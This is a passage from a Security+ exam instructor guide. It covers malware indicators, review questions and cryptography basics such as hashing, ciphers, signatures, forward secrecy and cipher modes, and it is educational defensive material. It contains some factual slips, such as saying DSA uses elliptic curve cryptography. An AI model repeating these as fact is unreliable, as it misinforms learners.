this is not typical of PowerShell usage. There is a long string of characters, which is
binary code represented in Base64. The script is injecting this into a new DLL, stored in
memory only.

Observing use of PsExec to invoke a PowerShell script that creates memory-resident shellcode.
(Screenshot: Process Explorer docs.microsoft.com/en-us/sysinternals.)

This sort of behavior can only be observed in real-time when the malware is executed
in a sandbox. Threat hunting and automated detection tools can use detailed logging,
such as that provided by System Monitor (github.com/SwiftOnSecurity/sysmon-config),
to record and identify malicious process behavior.
Along with observing how a process interacts with the file system, network activity is
one of the most reliable ways to identify malware. Threat data can be used to correlate
connections to known-bad IP addresses and domains, but malware may try to connect
to continually shifting endpoints, utilizing techniques such as fast-flux and domain
generation algorithms (DGA). It may try to use social media and cloud services to blend
in with legitimate traffic.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 92 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Indicators of Malware-Based Attacks
Answer the following questions:

1. You are troubleshooting a user's workstation. At the computer, an app

window displays on the screen claiming that all of your files are encrypted.
The app window demands that you make an anonymous payment if you ever
want to recover your data. What type of malware has infected the computer?
This is some type of ransomware, but it will take more investigation whether it is
actually crypto-malware or not.
2. You are recommending different anti-virus products to the CEO of small
travel services firm. The CEO is confused, because they had heard that
Trojans represent the biggest threat to computer security these days. What
explanation can you give?
While anti-virus (A-V) remains a popular marketing description, all current security
products worthy of consideration will try to provide protection against a full range of
malware and potentially unwanted program (PUP) threats.
3. You are writing a security awareness blog for company CEOs subscribed
to your threat platform. Why are backdoors and Trojans different ways of
classifying and identifying malware risks?
A Trojan means a malicious program masquerading as something else; a backdoor is
a covert means of accessing a host or network. A Trojan need not necessarily operate
a backdoor and a backdoor can be established by exploits other than using Trojans.
The term remote access trojan (RAT) is used for the specific combination of Trojan
and backdoor.
4. You are investigating a business email compromise (BEC) incident. The
email account of a developer has been accessed remotely over webmail.
Investigating the developer's workstation finds no indication of a malicious
process, but you do locate an unknown USB extension device attached to
one of the rear ports. Is this the most likely attack vector, and what type of
malware would it implement?
It is likely that the USB device implements a hardware-based keylogger. This would not
necessarily require any malware to be installed or leave any trace in the file system.
5. A user's computer is performing extremely slowly. Upon investigating, you find
that a process named n0tepad.exe is utilizing the CPU at rates of 80-90%. This
is accompanied by continual small disk reads and writes to a temporary folder.
Should you suspect malware infection and is any particular class of indicated?
Yes, this is malware as the process name is trying to masquerade as a legitimate
process. It is not possible to conclusively determine the type without more
investigation, but you might initially suspect a crypto-miner/crypto-jacker.

6. Is Cuckoo a type of malware or a security product?

Cuckoo is a security product designed to analyze malware as it runs in an isolated

sandbox environment.

Lesson 4: Identifying Social Engineering and Malware | Topic 4B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 93

Lesson 4
Summary
You should be able to identify the social engineering and malware-based methods that Teaching
threat actors use to effect intrusions. Tip
Check that students
Guidelines for Identifying Social Engineering and Malware are confident about
the content that has
been covered. If there
Follow these guidelines when you use security assessments to protect security systems
is time, revisit any
against social engineering and malware attacks: content examples that
• Use training and education programs to help employees to recognize how social they have questions
about. If you have
engineering is effective (authority, intimidation, consensus, scarcity, familiarity, trust, used all the available
and urgency). time for this lesson
block, note the issues,
• Use policies and procedures that hinder social engineers from eliciting information and schedule time for
or obtaining unauthorized access. a review later in the
course.
• Educate users to recognize phishing and pharming attempts, such as validating
domain names and identifying suspicious messages. Interaction
Opportunity
• Use training and education programs to help employees recognize types of malware Optionally, discuss
threat (Trojan, PUP, spyware, backdoor, bots, rootkits, and ransomware) and the with students how
vectors by which malware can execute. they might have
experience of social
• Use security filters and limited privileges to restrict the ability of users to execute engineering or
infected files or scripts. malware attacks,
the impact they had,
• Consider implementing behavior-based endpoint protection suites that can perform and how they were
resolved.
more effective detection of fileless malware.

• Consider setting up a sandbox with analysis tools to investigate suspicious process

behavior.

• Consider using threat data feeds to assist with identification of command and
control networks.

Lesson 4: Identifying Social Engineering and Malware

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 5
Summarizing Basic
Cryptographic Concepts

LESSON INTRODUCTION Teaching

Tip
Assess and monitor activities utilize threat intelligence to identify potential attack This lesson starts
vectors detect malicious activity. The protect cybersecurity function aims to build the next block of
secure IT processing systems that exhibit the attributes of confidentiality, integrity, and the course, which
availability. Many of these secure systems depend wholly or in part on cryptography. is focused on the
protect function. The
A cryptographic system encodes data in such a way that only authorized persons first part of this will
can decode it. Cryptography is the basis for many of the security systems you will be cover IAM topics,
implementing and configuring. As an information security professional, you must and cryptography
have a good understanding of the concepts underpinning cryptographic algorithms underpins most of
these technologies.
and their implementation in secure protocols and services. All security personnel
must be able to contrast the different types of cryptographic ciphers, understand how
they can be used to apply data confidentiality, integrity, and availability, and describe
the weaknesses they may exhibit. A secure technical understanding of the subject
will enable you to explain the importance of cryptographic systems and to select
appropriate technologies to meet a given security goal.

Lesson Objectives
In this lesson, you will:
• Compare and contrast cryptographic ciphers.

• Summarize cryptographic modes of operation.

• Summarize cryptographic use cases and weaknesses.

• Summarize other cryptographic technologies.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 96 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 5A
Compare and Contrast
Cryptographic Ciphers

Teaching EXAM OBJECTIVES COVERED

Tip 2.1 Explain the importance of security concepts in an enterprise environment (hashing only)
This topic covers the 2.8 Summarize the basics of cryptographic concepts
basic cryptographic
primitive types:
hashing, symmetric
A cipher is the particular operations performed to encode or decode data. Modern
ciphers, and cryptographic systems make use of symmetric and asymmetric cipher types to encode
asymmetric ciphers. and decode data. As well as these cipher types, one-way hash functions have an
Objective 2.8 is important role to play in many security controls. Being able to compare and contrast
covered over the the characteristics of these types of cryptographic ciphers and functions is essential for
course of all the topics you to deploy security controls for different use cases.
in this lesson.
It is easy for students
to become confused Cryptographic Concepts
about the different
types of cryptographic Cryptography (literally meaning "secret writing") has been around for thousands
systems, so allocate of years. It is the art of making information secure by encoding it. This stands in
plenty of time to opposition to the concept of security through obscurity. Security through obscurity
covering this topic. means keeping something a secret by hiding it. This is generally acknowledged to be
impossible (or at least, high risk) on any sort of computer network. With cryptography,
Show Slide(s)
it does not matter if third-parties know of the existence of the secret, because they can
never know what it is without obtaining an appropriate credential.
Cryptographic
Concepts The following terminology is used to discuss cryptography:
• Plaintext (or cleartext)—an unencrypted message.
Teaching
Tip • Ciphertext—an encrypted message.
Note that in
cryptography there is • Cipher—the process (or algorithm) used to encrypt and decrypt a message.
still some "obscurity"
involved as you have • Cryptanalysis—the art of cracking cryptographic systems.
to control distribution
of the key. This is In discussing cryptography and attacks against encryption systems, it is customary
a simpler job than to use a cast of characters to describe different actors involved in the process of an
protecting the design attack. The main characters are:
of the algorithm,
however. • Alice—the sender of a genuine message.
Passive eavesdropping
is traditionally • Bob—the intended recipient of the message.
performed by Eve,
but we're just using • Mallory—a malicious attacker attempting to subvert the message in some way.
Mallory for simplicity.
There are three main types of cryptographic algorithm with different roles to play in
the assurance of the security properties confidentiality, integrity, availability, and non-
repudiation. These types are hashing algorithms and two types of encryption ciphers:
symmetric and asymmetric.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 97

Hashing Algorithms Show Slide(s)

Hashing is the simplest type of cryptographic operation. A cryptographic hashing Hashing Algorithms
algorithm produces a fixed length string from an input plaintext that can be of any
length. The output can be referred to as a checksum, message digest, or hash, The Teaching
function is designed so that it is impossible to recover the plaintext data from the Tip
digest (one-way) and so that different inputs are unlikely to produce the same output Hash functions are
(a collision). mostly used for
integrity (signatures
A hashing algorithm is used to prove integrity. For example, Bob and Alice can compare and message digests)
the values used for a password in the following way: and password storage
(confidentiality).
1. Bob already has a digest calculated from Alice's plaintext password. Bob cannot
recover the plaintext password value from the hash. While the names
of cryptographic
2. When Alice needs to authenticate to Bob, she types her password, converts it to a algorithms have been
removed from the
hash, and sends the digest to Bob. certification objectives,
they are still present
3. Bob compares Alice's digest to the hash value he has on file. If they match, he can in the acronyms list,
be sure that Alice typed the same password. and the injunction
on the acronyms list
As well as comparing password values, a hash of a file can be used to verify the is "Candidates are
integrity of that file after transfer. encouraged to review
the complete list
1. Alice runs a hash function on the setup.exe file for her product. She publishes the and attain a working
digest to her website with a download link for the file. knowledge of all listed
acronyms as part of a
2. Bob downloads the setup.exe file and makes a copy of the digest. comprehensive exam
preparation program."
3. Bob runs the same hash function on the downloaded setup.exe file and Consequently, the
compares it to the reference value published by Alice. If it matches the value names of the main
published on the website, the integrity of the file can be assumed. products have been
retained.
4. Consider that Mallory might be able to substitute the download file for a The syllabus also uses
malicious file. Mallory cannot change the reference hash, however. the term checksum
for a message digest
5. This time, Bob computes a hash but it does not match, leading him to suspect (under the forensics
that the file has been tampered with. objective) so we
are using that here
too. You might want
to note that hash
functions produce
a specific type of
checksum, but there
are others with
different properties,
such as a parity
checksum.

Confirming a file download using cryptographic hashes. (Images © 123RF.com.)

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 98 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

There are two popular implementations hash algorithms:

• Secure Hash Algorithm (SHA)—considered the strongest algorithm. There are
variants that produce different-sized outputs, with longer digests considered more
secure. The most popular variant is SHA-256, which produces a 256-bit digest.

• Message Digest Algorithm #5 (MD5)—produces a 128-bit digest. MD5 is not

considered to be quite as safe for use as SHA-256, but it might be required for
compatibility between security products.

Computing an SHA value from a file. (Screenshot used with permission from Microsoft.)

Show Slide(s) Encryption Ciphers and Keys

Encryption Ciphers
While a hash function can be used to prove the integrity of data, it cannot be used
and Keys to store or transmit data. The plaintext cannot be recovered from the digest. An
encryption algorithm is a type of cryptographic process that encodes data so that it can
Teaching be recovered, or decrypted. The use of a key with the encryption cipher ensures that
Tip decryption can only be performed by authorized persons.
Make sure students
understand the Substitution and Transposition Ciphers
difference between
the cipher and the key. To understand how encryption works, it is helpful to consider simple substitution and
You could also transposition ciphers. A substitution cipher involves replacing units (a letter or blocks
mention that most of letters) in the plaintext with different ciphertext. Simple substitution ciphers rotate
types of encryption or scramble letters of the alphabet. For example, ROT13 (an example of a Caesarian
make use of the XOR cipher) rotates each letter 13 places (so A becomes N for instance). The ciphertext
function.
"Uryyb Jbeyq" means "Hello World".
In contrast to substitution ciphers, the units in a transposition cipher stay the same in
plaintext and ciphertext, but their order is changed, according to some mechanism.
Consider how the ciphertext "HLOOLELWRD" has been produced:
H L O O L
E L W R D
The letters are simply written as columns and then the rows are concatenated to make
the ciphertext. It's called a rail fence cipher. All modern encryption uses these basic
techniques of substitution and transposition, but in much more complex ways.

Keys and Secret Ciphers

Encryption ciphers use a key to increase the security of the process. For example, if
you consider the Caesar cipher ROT13, you should realize that the key is 13. You could
use 17 to achieve a different ciphertext from the same method. The key is important
because it means that even if the cipher method is known, a message still cannot
be decrypted without knowledge of the specific key. This is particularly important in
modern cryptography. Attempting to hide details of the cipher (a secret algorithm)
amounts to "security by obscurity." Modern ciphers are made stronger by being open
to review (cryptanalysis) by third-party researchers.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 99

Symmetric Encryption Show Slide(s)

A symmetric cipher is one in which encryption and decryption are both performed Symmetric Encryption
by the same secret key. The secret key is so-called because it must be kept secret.
If the key is lost or stolen, the security is breached. Symmetric encryption is used Teaching
for confidentiality. For example, Alice and Bob can share a confidential file in the Tip
following way: Note that symmetric
encryption is mostly
1. Alice and Bob meet to agree which cipher to use and a secret key value. They
used for privacy
both record the value of the secret key, making sure that no one else can (confidentiality). Test
discover it. that the students can
explain to you why
2. Alice encrypts a file using the cipher and key. it cannot be used
for authentication,
3. She sends only the ciphertext to Bob over the network. integrity, or non-
repudiation.
4. Bob receives the ciphertext and is able to decrypt it by applying the same cipher
with his copy of the secret key.

Symmetric encryption operation and weaknesses. (Images © 123RF.com.)

Symmetric encryption is also referred to as single key or private key or shared secret. Note
that "private key" is also used to refer to part of the public key cryptography process, so take
care not to confuse the two uses.

Symmetric encryption is very fast. It is used for bulk encryption of large amounts of
data. The main problem is secure distribution and storage of the key, or the exact
means by which Alice and Bob "meet" to agree the key. If Mallory intercepts the key
and obtains the ciphertext, the security is broken.
Note that symmetric encryption cannot be used for authentication or integrity, because
Alice and Bob are able to create exactly the same secrets, because they both know the
same key.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 100 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Stream and Block Ciphers

Stream and Block
There are two types of symmetric encryption: stream ciphers and block ciphers.
Ciphers
Stream Ciphers
Teaching
In a stream cipher, each byte or bit of data in the plaintext is encrypted one at a
Tip
time. This is suitable for encrypting communications where the total length of the
We will get to it in the
message is not known. The plaintext is combined with a separate randomly generated
next topic, but you
might want to point message, calculated from the key and an initialization vector (IV). The IV ensures the
out here that various key produces a unique ciphertext from the same plaintext. The keystream must be
counter modes can be unique, so an IV must not be reused with the same key. The recipient must be able to
used to turn AES into a generate the same keystream as the sender and the streams must be synchronized.
stream cipher. Stream ciphers might use markers to allow for synchronization and retransmission.
You might also want Some types of stream ciphers are made self-synchronizing.
to note that RC4 is
an obsolete stream
cipher and the use
Block Ciphers
of ChaCha20 as a
modern stream
In a block cipher, the plaintext is divided into equal-size blocks (usually 128-bit). If
cipher. These should there is not enough data in the plaintext, it is padded to the correct size using some
not be required for the string defined in the algorithm. For example, a 1200-bit plaintext would be padded with
exam, but students an extra 80 bits to fit into 10 x 128-bit blocks. Each block is then subjected to complex
will encounter them transposition and substitution operations, based on the value of the key used.
regularly as security
professionals. The Advanced Encryption Standard (AES) is the default symmetric encryption cipher
for most products. Basic AES has a key size of 128 bits, but the most widely used
variant is AES256, with a 256-bit key.

Key Length
The range of key values available to use with a particular cipher is called the keyspace.
The keyspace is roughly equivalent to two to the power of the size of the key. Using a
longer key (256 bits rather than 128 bits, for instance) makes the encryption scheme
stronger. You should realize that key lengths are not equivalent when comparing
different algorithms, however. Recommendations on minimum key length for any
given algorithm are made by identifying whether the algorithm is vulnerable to
cryptanalysis techniques and by the length of time it would take to "brute force" the
key, given current processing resources.

Show Slide(s) Asymmetric Encryption

Asymmetric
In a symmetric encryption cipher, the same secret key is used to perform both
Encryption encryption and decryption operations. With an asymmetric cipher, operations are
performed by two different but related public and private keys in a key pair.
Teaching
Each key is capable of reversing the operation of its pair. For example, if the public key
Tip
is used to encrypt a message, only the paired private key can decrypt the ciphertext
Asymmetric ciphers
produced. The public key cannot be used to decrypt the ciphertext, even though it was
are mainly used for
authentication and non- used to encrypt it.
repudiation. Another The keys are linked in such a way as to make it impossible to derive one from the
important use is key
exchange. A symmetric
other. This means that the key holder can distribute the public key to anyone he or she
encryption key is wants to receive secure messages from. No one else can use the public key to decrypt
encrypted by the client the messages; only the linked private key can do that.
and sent to the server.
The server decrypts the 1. Bob generates a key pair and keeps the private key secret.
key and that secret key
is then used to encrypt 2. Bob publishes the public key. Alice wants to send Bob a confidential message, so
messages sent between she takes a copy of Bob's public key.
server and client.
3. Alice uses Bob's public key to encrypt the message.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 101

4. Alice sends the ciphertext to Bob.

5. Bob receives the message and is able to decrypt it using his private key.

6. If Mallory has been snooping, he can intercept both the message and the public
key.

7. However, Mallory cannot use the public key to decrypt the message, so the
system remains secure.

Asymmetric encryption. (Images © 123RF.com.)

Asymmetric encryption can be used to prove identity. The holder of a private key
cannot be impersonated by anyone else. The drawback of asymmetric encryption is
that it involves substantial computing overhead compared to symmetric encryption.
The message cannot be larger than the key size. Where a large amount of data is being
encrypted on disk or transported over a network, asymmetric encryption is inefficient.
Consequently, asymmetric encryption is mostly used for authentication and non-
repudiation and for key agreement and exchange. Key agreement/exchange refers
to settling on a secret symmetric key to use for bulk encryption without anyone else
Show Slide(s)
discovering it.

Public Key
Public Key Cryptography Algorithms Cryptography
Algorithms
Asymmetric encryption is often referred to as public key cryptography. Many public
key cryptography products are based on the RSA algorithm. Ron Rivest, Adi Shamir, Teaching
and Leonard Adleman published the RSA cipher in 1977 (rsa.com). The RSA algorithm Tip
provides the mathematical properties for deriving key pairs and performing the
There's not much
encryption and decryption operations. This type of algorithm is called a trapdoor point trying to
function, because it is easy to perform using the public key, but difficult to reverse describe ECC without
without knowing the private key. mentioning RSA.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 102 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Elliptic curve cryptography (ECC) is another type of trapdoor function that can be
used in public key cryptography ciphers. The principal advantage of ECC over RSA's
algorithm is that there are no known "shortcuts" to cracking the cipher or the math
that underpins it, regardless of key length. Consequently, ECC used with a key size of
256 bits is very approximately comparable to RSA with a key size of 2048 bits.

RSA key pair security depends on the difficulty of finding the prime factors of very large
integers (modular exponentiation). ECC depends on the discrete logarithm problem.
Cloudflare have produced an excellent overview of the differences (blog.cloudflare.com/a-
relatively-easy-to-understand-primer-on-elliptic-curve-cryptography).

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 103

Review Activity:
Cryptographic Ciphers
Answer the following questions:

1. Which part of a simple cryptographic system must be kept secret—the

cipher, the ciphertext, or the key?

In cryptography, the security of the message is guaranteed by the security of the key.
The system does not depend on hiding the algorithm or the message (security by
obscurity).

2. Considering that cryptographic hashing is one-way and the digest cannot be

reversed, what makes hashing a useful security technique?

Because two parties can hash the same data and compare checksums to see if they
match, hashing can be used for data verification in a variety of situations, including
password authentication. Hashes of passwords, rather than the password plaintext,
can be stored securely or exchanged for authentication. A hash of a file or a hash code
in an electronic message can be verified by both parties.

3. Which security property is assured by symmetric encryption?

Confidentiality—symmetric ciphers are generally fast and well suited to bulk encrypting
large amounts of data.

4. What are the properties of a public/private key pair?

Each key can reverse the cryptographic operation performed by its pair but cannot
reverse an operation performed by itself. The private key must be kept secret by the
owner, but the public key is designed to be widely distributed. The private key cannot
be determined from the public key, given a sufficient key size.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 104 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 5B
Summarize Cryptographic
Modes of Operation

Teaching EXAM OBJECTIVES COVERED

Tip 2.8 Summarize the basics of cryptographic concepts
This topic moves
on from the basic
cryptographic types
A mode of operation is a means of using a cipher within a product to achieve a security
to showing how they
are used together goal, such as confidentiality or integrity. Being able to summarize modes of operation
in cryptographic will help you to implement and support security controls such as digital signatures and
implementations, such transport encryption.
as digital signatures
and transport
encryption. Digital Signatures
Show Slide(s) Public key cryptography can authenticate a sender, because they control a private key
that encrypts messages in a way that no one else can. Public key cryptography can only
be used with very small messages, however. Hashing proves integrity by computing
Digital Signatures
a unique checksum from input. These two cryptographic functions can be combined
Teaching to authenticate a sender and prove the integrity of a message. This usage is called a
Tip digital signature. The following process is used to create a digital signature using RSA
encryption:
Digital signatures
combine public 1. The sender (Alice) creates a digest of a message, using a pre-agreed hash
key cryptography algorithm, such as SHA256, and then encrypts the digest using her private key.
with hashing
algorithms to provide 2. Alice attaches the digital signature to the original message and sends both the
authentication,
signature and the message to Bob.
integrity, and non-
repudiation.
3. Bob decrypts the signature using Alice's public key, resulting in the original hash.

4. Bob then calculates his own checksum for the document (using the same
algorithm as Alice) and compares it with Alice's hash.

If the two hashes are the same, then the data has not been tampered with during
transmission, and Alice's identity is guaranteed. If either the data had changed or a
malicious user (Mallory) had intercepted the message and used a different private key,
the digests would not match.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 105

Message authentication and integrity using digital signatures. (Images © 123RF.com.)

It is important to remember that a digital signature is a hash that is then encrypted using
a private key. Without the encryption, another party could easily intercept the file and the
hash, modify the file and compute a new hash, and then send the modified file and hash
to the recipient. It is also important to realize that the recipient must have some means of
validating that the public key really was issued by Alice. Also note that digital signatures do
not provide any message confidentiality.

The Digital Signature Algorithm (DSA) is a slightly different format for achieving
the same sort of goal. DSA uses elliptic curve cryptography (ECC) rather than the RSA
cipher.

Digital Envelopes and Key Exchange Show Slide(s)

Symmetric encryption is the only practical means of encrypting and decrypting Digital Envelopes and
large amounts of data (bulk encryption), but it is difficult to distribute the secret key Key Exchange
securely. Public key cryptography makes it easy to distribute a key, but can only be
used efficiently with small amounts of data. Therefore, both are used within the same Teaching
product in a type of key exchange system known as a digital envelope or hybrid Tip
encryption. A digital envelope allows the sender and recipient to exchange a symmetric Stress that asymmetric
encryption key securely by using public key cryptography: encryption is slow,
and so is only used
1. Alice obtains a copy of Bob's public key. on small amounts of
data (signing hashes
2. Alice encrypts her message using a secret key cipher, such as AES. In this context, or encrypting secret
the secret key is referred to as a session key. keys).

3. Alice encrypts the session key with Bob's public key.

4. Alice attaches the encrypted session key to the ciphertext message in a digital
envelope and sends it to Bob.

5. Bob uses his private key to decrypt the session key.

6. Bob uses the session key to decrypt the ciphertext message.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 106 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Key exchange using a digital envelope. (Images © 123RF.com.)

Note that in this process, it is the recipient's public key that is used to perform
encryption and the recipient's private key that is used for decryption. The validity of the
whole digital envelope can be proved using a message authentication code.

In all these implementations, it is critical that the private key be kept secure and available
only to the authorized user.

Show Slide(s) Digital Certificates

Digital Certificates
When using public/private key pairs, a subject will make his or her public key freely
available. This allows recipients of his or her messages to read the digital signature.
Teaching Similarly, he or she uses the recipient's public key to encrypt a message via a digital
Tip envelope. This means that no one other than the intended recipient can read the
We will explore
message.
certificates and PKI in The question then arises of how anyone can trust the identity of the person or server
more detail in the next
issuing a public key. One solution is to have a third party, referred to as a certificate
lesson.
authority (CA), validate the owner of the public key by issuing the subject with a
certificate. The certificate is signed by the CA. If the recipient also trusts the CA, they
can also trust the public key wrapped in the subject's certificate. The process of issuing
and verifying certificates is called public key infrastructure (PKI).

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 107

Perfect Forward Secrecy Show Slide(s)

When using a digital envelope, the parties must exchange or agree upon a bulk Perfect Forward
encryption secret key, used with the chosen symmetric cipher. In the original Secrecy
implementation of digital envelopes, the server and client exchange secret keys, using
the server's RSA key pair to protect the exchange from snooping. In this key exchange Teaching
model, if data from a session were recorded and then later the server's private key Tip
were compromised, it could be used to decrypt the session key and recover the The terms "key
confidential session data. exchange" and "key
agreement" are often
This risk from RSA key exchange is mitigated by perfect forward secrecy (PFS). PFS taken to mean the
uses Diffie-Hellman (D-H) key agreement to create ephemeral session keys without same thing, but point
using the server's private key. Diffie-Hellman allows Alice and Bob to derive the same out that there are
shared secret just by agreeing some values that are all related by some trapdoor different mechanisms.
With key agreement,
function. In the agreement process, they share some of them, but keep others private. the client does not
Mallory cannot possibly learn the secret from the values that are exchanged publicly transmit an encrypted
(en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange). The authenticity of session key to the
the values sent by the server is proved by using a digital signature. server. The client and
server use Diffie-
Hellman (D-H) to
derive the same secret
key value.
Note that in TLS
1.3, only PFS cipher
suites are allowed.
RSA key exchange is
deprecated. The RSA
algorithm can still
be used for signing,
however. The values
exchanged as part of
D-H need to be signed
to prove authenticity
and prevent a man-in-
the-middle attack.

Using Diffie-Hellman to derive a secret value to use to generate a shared symmetric encryption
key securely over a public channel. (Images © 123RF.com.)

Using ephemeral session keys means that any future compromise of the server will not
translate into an attack on recorded data. Also, even if an attacker can obtain the key
for one session, the other sessions will remain confidential. This massively increases
the amount of cryptanalysis that an attacker would have to perform to recover an
entire "conversation."

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 108 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

PFS can be implemented using either the Diffie-Hellman Ephemeral mode (DHE or
EDH) or Elliptic Curve Diffie-Hellman Ephemeral mode (ECDHE) algorithms. To use
PFS, the server and client must negotiate use of a mutually supported cipher suite.

In 2014, a Heartbleed bug was discovered in the way some versions of OpenSSL work that
allows remote users to grab 64K chunks of server memory contents (heartbleed.com). This
could include the private key, meaning that any communications with the server could be
compromised. The bug had been present for around two years. This illustrates the value of
PFS, but ironically many servers would have been updated to the buggy version of OpenSSL
to enable support for PFS.

Show Slide(s) Cipher Suites and Modes of Operation

Cipher Suites and
In a protocol such as Transport Layer Security (TLS), the requirements to both
Modes of Operation authenticate the identity of the server and to encrypt communications between the
server and client need to be fulfilled by separate cryptographic products and cipher
Teaching implementations. The combination of ciphers supported is referred to as a cipher
Tip suite. The server and client negotiate mutually compatible cipher suites as part of the
While the syllabus TLS handshake.
no longer mentions
cipher block chaining So far, we have identified two parts of the cipher suite:
(CBC; except as • A signature algorithm, used to assert the identity of the server's public key and
under CCMP and in
the acronym list), it
facilitate authentication.
is included here to
help to explain the
• A key exchange/agreement algorithm, used by the client and server to derive the same
problems that arise bulk encryption symmetric key.
from padding and
the necessity of using The final part of a cipher suite determines the bulk encryption cipher. When AES
counter mode/stream is selected as the symmetric cipher, it has to be used in a mode of operation that
ciphers. supports a stream of network data.
The acronym list also
continues to list rarely Cipher Block Chaining (CBC) Mode
implemented modes,
such as ECB and CFB. The Cipher Block Chaining (CBC) mode applies an initialization vector (IV) to the
Hopefully, students first plaintext block to ensure that the key produces a unique ciphertext from any
should not need to
given plaintext. The output of the first ciphertext block is then combined with the
know these, but you
may want to point next plaintext block using an XOR operation. This process is repeated through the full
them out. "chain" of blocks, which (again) ensures that no plaintext block produces the same
Note that in TLS 1.3, ciphertext. CBC needs to use padding to ensure that the data to encrypt is an exact
the signature and key multiple of the block size.
agreement algorithms
are no longer part of XOR is a logical operation that outputs 1 only when the inputs are 1 and 0.
the actual suite. The
signature algorithm
is provided via
the server's digital
certificate and key
agreement is always
Diffie-Hellman. Counter Mode
Counter mode makes the AES algorithm work as a stream cipher. Counter mode
applies an IV plus an incrementing counter value to the key to generate a keystream.
The keystream is then XOR'ed to the data in the plaintext blocks. Each block can be
processed individually and consequently in parallel, improving performance. Also,
counter modes do not need to use padding. Any unused space in the last block is
simply discarded.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 109

Authenticated Modes of Operation Show Slide(s)

Symmetric algorithms do not provide message integrity or authentication. The basic Authenticated Modes
CBC and counter modes of operation are unauthenticated. While a man-in-the-middle of Operation
cannot decrypt them directly without the secret key, the ciphertexts are vulnerable to
arbitrary data being inserted or modified to break the encryption scheme, referred to Teaching
as a chosen ciphertext attack. Tip
Students should not
Authenticated Encryption need to recognize the
cipher suite names
A message authentication code (MAC) provides an authentication and integrity for the exam, but
mechanism by hashing a combination of the message output and a shared secret in practical terms
key. The recipient can perform the same process using his or her copy of the secret they would be highly
recommended to
key to verify the data. This type of authenticated encryption scheme is specified in a
learn them anyway,
cipher suite as separate functions, such as "AES CBC with HMAC-SHA." Unfortunately, not least because
the implementation of this type of authenticated mode in AES CBC is vulnerable to a TLS 1.3 is reduced to
type of cryptographic attack called a padding oracle attack (docs.microsoft.com/en-us/ just three algorithms.
dotnet/standard/security/vulnerabilities-cbc-mode). Consequently, we
are including the
Authenticated Encryption with Additional Data (AEAD) relevant acronyms for
recognition purposes,
The weaknesses of CBC arising from the padding mechanism means that stream but not trying to
explain the difference
ciphers or counter modes are strongly preferred. These use Authenticated Encryption between, say, GMAC
with Additional Data (AEAD) modes of operation. In an AEAD scheme, the associated and CBC-MAC.
data allows the receiver to use the message header to ensure the payload has not
been replayed from a different communication stream.
An AEAD mode is identified by a single hyphenated function name, such as AES-GCM or
AES-CCM. The ChaCha20-Poly1305 stream cipher has been developed as an alternative
to AES.

Lesson 5: Summarizing Basic Cryptographic Concepts | Topic 5B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 110 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Cryptographic Modes of Operation
Answer the following questions:

1. What is the process of digitally signing a message?

A hashing function is used to create a message digest. The digest is then signed using
the sender's private key. The resulting signature can be decrypted by the recipient
using the sender's public key and cannot be modified by any other agency. The
